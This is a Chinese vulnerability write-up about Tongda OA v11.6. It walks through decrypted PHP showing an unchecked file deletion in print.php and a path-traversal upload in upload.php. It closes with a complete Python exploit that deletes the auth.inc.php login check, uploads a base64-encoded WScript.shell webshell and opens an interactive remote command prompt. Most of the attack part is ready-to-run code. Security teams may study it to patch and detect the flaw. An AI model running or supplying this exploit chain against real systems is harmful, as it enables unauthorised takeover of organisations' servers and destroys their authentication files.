漏洞描述 #
通过任意文件漏洞删除上传点包含的身份验证文件，从而造成未授权访问实现任意文件上传
漏洞影响 #
通达OA v11.6
环境搭建 #
通达OA v11.6下载链接
https://cdndown.tongda2000.com/oa/2019/TDOA11.6.exe
下载完毕点击安装即可
漏洞复现 #
使用解密工具 SeayDzend(zend解密工具) 对通达OA的加密代码进行解密
解密工具已经放在目录下的POC目录中
解密完成后查看 webroot\general\data_center\utils\upload.php 文件
<?php
include_once "inc/auth.inc.php";
include_once "./utils.func.php";
$HTML_PAGE_TITLE = _("上传文件");
include_once "inc/header.inc.php";
$error = "";
$msg = "";
if ($action == "upload") {
if ($filetype == "xls") {
$uploaddir = MYOA_ATTACH_PATH . "/data_center/templates/";
if (!is_dir(MYOA_ATTACH_PATH . "/data_center/templates")) {
if (!is_dir(MYOA_ATTACH_PATH . "/data_center")) {
mkdir(MYOA_ATTACH_PATH . "/data_center");
}
mkdir(MYOA_ATTACH_PATH . "/data_center/templates");
}
if (move_uploaded_file($_FILES["FILE1"]["tmp_name"], $uploaddir . $_FILES["FILE1"]["name"])) {
}
}
else if ($filetype == "img") {
$uploaddir = MYOA_ATTACH_PATH . "/data_center/images/";
if (!is_dir(MYOA_ATTACH_PATH . "/data_center/images")) {
if (!is_dir(MYOA_ATTACH_PATH . "/data_center")) {
mkdir(MYOA_ATTACH_PATH . "/data_center");
}
mkdir(MYOA_ATTACH_PATH . "/data_center/images");
}
$s_n = $_FILES["FILE1"]["name"];
if ($s_n[0] != "{") {
$p = strrpos($s_n, ".");
$s_n = CreateId() . substr($s_n, $p);
}
if (move_uploaded_file($_FILES["FILE1"]["tmp_name"], $uploaddir . $s_n)) {
}
}
else {
$uploaddir = MYOA_ATTACH_PATH . "/data_center/attachment/";
if (!is_dir(MYOA_ATTACH_PATH . "/data_center/attachment")) {
if (!is_dir(MYOA_ATTACH_PATH . "/data_center")) {
mkdir(MYOA_ATTACH_PATH . "/data_center");
}
mkdir(MYOA_ATTACH_PATH . "/data_center/attachment");
}
if (isset($from_rep)) {
if (($from_rep != "") && ($from_rep[0] == "{")) {
$repkid = GetRepKIDBySendId($from_rep);
if ($repkid != $to_rep) {
if (file_exists($uploaddir . "/" . $repkid . "_" . $filename)) {
copy($uploaddir . "/" . $repkid . "_" . $filename, $uploaddir . "/" . $to_rep . "_" . $filename);
}
}
}
else {
$arr = explode(",", $from_rep);
for ($i = 0; $i < count($arr); $i++) {
$p = strpos($arr[$i], ".");
$repno = substr($arr[$i], 0, $p);
$repkid = GetRepKIDByNo($repno);
if ($repkid != $to_rep) {
if (file_exists($uploaddir . "/" . $repkid . "_" . $filename)) {
copy($uploaddir . "/" . $repkid . "_" . $filename, $uploaddir . "/" . $to_rep . "_" . $filename);
break;
}
}
}
}
}
else {
$s_n = $_FILES["FILE1"]["name"];
if ($s_n[0] != "{") {
$s_n = $repkid . "_" . $s_n;
}
if (move_uploaded_file($_FILES["FILE1"]["tmp_name"], $uploaddir . $s_n)) {
}
}
}
@unlink($_FILES["FILE1"]);
}
else if ($action == "unupload") {
if ($filetype == "xls") {
$uploaddir = MYOA_ATTACH_PATH . "data_center/attachment/" . trim($filename) . ".xls";
if (is_file($uploaddir)) {
unlink($uploaddir);
}
}
else if ($filetype == "img") {
$uploaddir = MYOA_ATTACH_PATH . "data_center/images/" . trim($filename);
if (is_file($uploaddir)) {
unlink($uploaddir);
}
}
else if ($filetype == "attach") {
$uploaddir = MYOA_ATTACH_PATH . "data_center/attachment/" . trim($filename);
if (is_file($uploaddir)) {
unlink($uploaddir);
}
}
}
echo "{";
echo "new_name:'$s_n',\n";
echo "error: '" . $error . "',\n";
echo "msg: '" . $msg . "'\n";
echo "}";
echo "<body>\r\n</body>\r\n</html>";
?>
在第一行包含了文件 auth.inc.php
include_once "inc/auth.inc.php";
可以看到这个文件用于检验是否登录，未登录的情况无法利用这个漏洞
查看 \webroot\module\appbuilder\assets\print.php文件
<?php
$s_tmp = __DIR__ . "/../../../../logs/appbuilder/logs";
$s_tmp .= "/" . $_GET["guid"];
if (file_exists($s_tmp)) {
$arr_data = unserialize(file_get_contents($s_tmp));
unlink($s_tmp);
$s_user = $arr_data["user"];
}
else {
echo "未知参数";
exit();
}
这里可以看到 页面获取 guid参数的值 使用file_exists函数判断文件是否存在 并未进行校验 就执行unlink删除文件
可以本地在 \webroot\inc 目录创建 1.txt 文件
然后访问 http://xxx.xxx.xxx.xxx/module/appbuilder/assets/print.php?guid=../../../webroot/inc/1.txt 就会删除这个 1.txt 文件，也代表可以删除 auth.inc.php 登录检验文件
回到 upload.php 文件进行代码审计
判断变量 $action 是否为 upload，再判断文件类型，如果不为 xls 和 img 则进入else分支
else {
$uploaddir = MYOA_ATTACH_PATH . "/data_center/attachment/";
if (!is_dir(MYOA_ATTACH_PATH . "/data_center/attachment")) {
if (!is_dir(MYOA_ATTACH_PATH . "/data_center")) {
mkdir(MYOA_ATTACH_PATH . "/data_center");
}
mkdir(MYOA_ATTACH_PATH . "/data_center/attachment");
}
if (isset($from_rep)) {
if (($from_rep != "") && ($from_rep[0] == "{")) {
$repkid = GetRepKIDBySendId($from_rep);
if ($repkid != $to_rep) {
if (file_exists($uploaddir . "/" . $repkid . "_" . $filename)) {
copy($uploaddir . "/" . $repkid . "_" . $filename, $uploaddir . "/" . $to_rep . "_" . $filename);
}
}
}
else {
$arr = explode(",", $from_rep);
for ($i = 0; $i < count($arr); $i++) {
$p = strpos($arr[$i], ".");
$repno = substr($arr[$i], 0, $p);
$repkid = GetRepKIDByNo($repno);
if ($repkid != $to_rep) {
if (file_exists($uploaddir . "/" . $repkid . "_" . $filename)) {
copy($uploaddir . "/" . $repkid . "_" . $filename, $uploaddir . "/" . $to_rep . "_" . $filename);
break;
}
}
}
}
}
else {
$s_n = $_FILES["FILE1"]["name"];
if ($s_n[0] != "{") {
$s_n = $repkid . "_" . $s_n;
}
if (move_uploaded_file($_FILES["FILE1"]["tmp_name"], $uploaddir . $s_n)) {
}
}
}
@unlink($_FILES["FILE1"]);
}
在这段代码中，如果不存在 $from_rep 变量则会跳到如下代码
else {
$s_n = $_FILES["FILE1"]["name"];
if ($s_n[0] != "{") {
$s_n = $repkid . "_" . $s_n;
}
if (move_uploaded_file($_FILES["FILE1"]["tmp_name"], $uploaddir . $s_n)) {
}
}
这里直接将 $repkid 变量进行拼接,也就是说可以通过目录穿越来上传恶意文件到指定目录
这里需要利用file_exists函数的漏洞构造/.<>./.<>./.<>./ 逃逸出来
使用POC来利用漏洞
注意在删除验证身份的文件后，会造成后台页面出现如下图，使用前备份文件
漏洞POC #
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from : http://wiki.peiqi.tech
import requests
import re
import base64
import sys
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mVersion: 通达OA v11.6 任意文件删除&RCE \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+ \033[36mCmd >>> whoami \033[0m')
print('+------------------------------------------')
def POC_1(target_url):
check_url = target_url + "/module/appbuilder/assets/print.php"
try:
check_url_response = requests.get(url = check_url)
if check_url_response.status_code == 200:
print("\033[32m[o] 存在 /module/appbuilder/assets/print.php 可能含有通达OA v11.6 任意文件删除&RCE漏洞\033[0m")
input("\033[32m[o] 此漏洞会对真实环境造成影响，请在授权的情况下利用此漏洞，按下任意键继续..... \033[0m")
else:
print("\033[31m[x] 不存在 /module/appbuilder/assets/print.php 漏洞利用失败 \033[0m")
sys.exit(0)
except Exception as e:
print("\033[31m[x] 请求失败，{} \033[0m".format(e))
sys.exit(0)
def POC_2(target_url):
unlink_url = target_url + "/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
try:
unlink_response = requests.get(url = unlink_url)
if unlink_response.status_code == 200:
print("\033[32m[o] 成功删除校验文件 auth.inc.php \033[0m")
else:
print("\033[31m[x] 删除校验文件 auth.inc.php 失败 \033[0m")
sys.exit(0)
except Exception as e:
print("\033[31m[x] 请求失败，{} \033[0m".format(e))
sys.exit(0)
def POC_3(target_url, payload_php):
"""
(绕过的webshell)
<?php
$command=$_GET['test'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
"""
vuln_url = target_url + "/general/data_center/utils/upload.php?action=upload&filetype=test&repkid=/.<>./.<>./.<>./"
files = {'FILE1': ('test.php', payload_php)}
try:
vuln_response = requests.post(url = vuln_url,files=files)
if vuln_response.status_code == 200:
print("\033[32m[o] 成功写入webshell文件: _test.php \033[0m")
print("\033[32m[o] webshell地址为: {}/_test.php \033[0m".format(target_url))
else:
print("\033[31m[x] 写入webshell文件失败 \033[0m")
sys.exit(0)
except Exception as e:
print("\033[31m[x] 请求失败，{} \033[0m".format(e))
sys.exit(0)
def POC_4(target_url, cmd):
cmd_url = target_url + "/_test.php?test={}".format(cmd)
try:
cmd_response = requests.get(url = cmd_url)
if cmd_response.status_code == 200:
print("\033[32m[o] 正在执行命令: {} \033[0m".format(cmd_url))
print("\033[32m[o] 响应为: \n{} \033[0m".format(cmd_response.text))
else:
print("\033[31m[x] 命令执行失败 \033[0m")
sys.exit(0)
except Exception as e:
print("\033[31m[x] 请求失败，{} \033[0m".format(e))
sys.exit(0)
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
POC_1(target_url)
POC_2(target_url)
payload_php = base64.b64decode("PD9waHAKICAgICRjb21tYW5kPSRfR0VUWyd0ZXN0J107CiAgICAkd3NoID0gbmV3IENPTSgnV1NjcmlwdC5zaGVsbCcpOwogICAgJGV4ZWMgPSAkd3NoLT5leGVjKCJjbWQgL2MgIi4kY29tbWFuZCk7CiAgICAkc3Rkb3V0ID0gJGV4ZWMtPlN0ZE91dCgpOwogICAgJHN0cm91dHB1dCA9ICRzdGRvdXQtPlJlYWRBbGwoKTsKICAgIGVjaG8gJHN0cm91dHB1dDsKPz4=").decode("utf-8")
POC_3(target_url, payload_php)
while True:
cmd = input("\033[35mCmd >>> \033[0m")
if cmd == "exit":
sys.exit(0)
else:
POC_4(target_url, cmd)
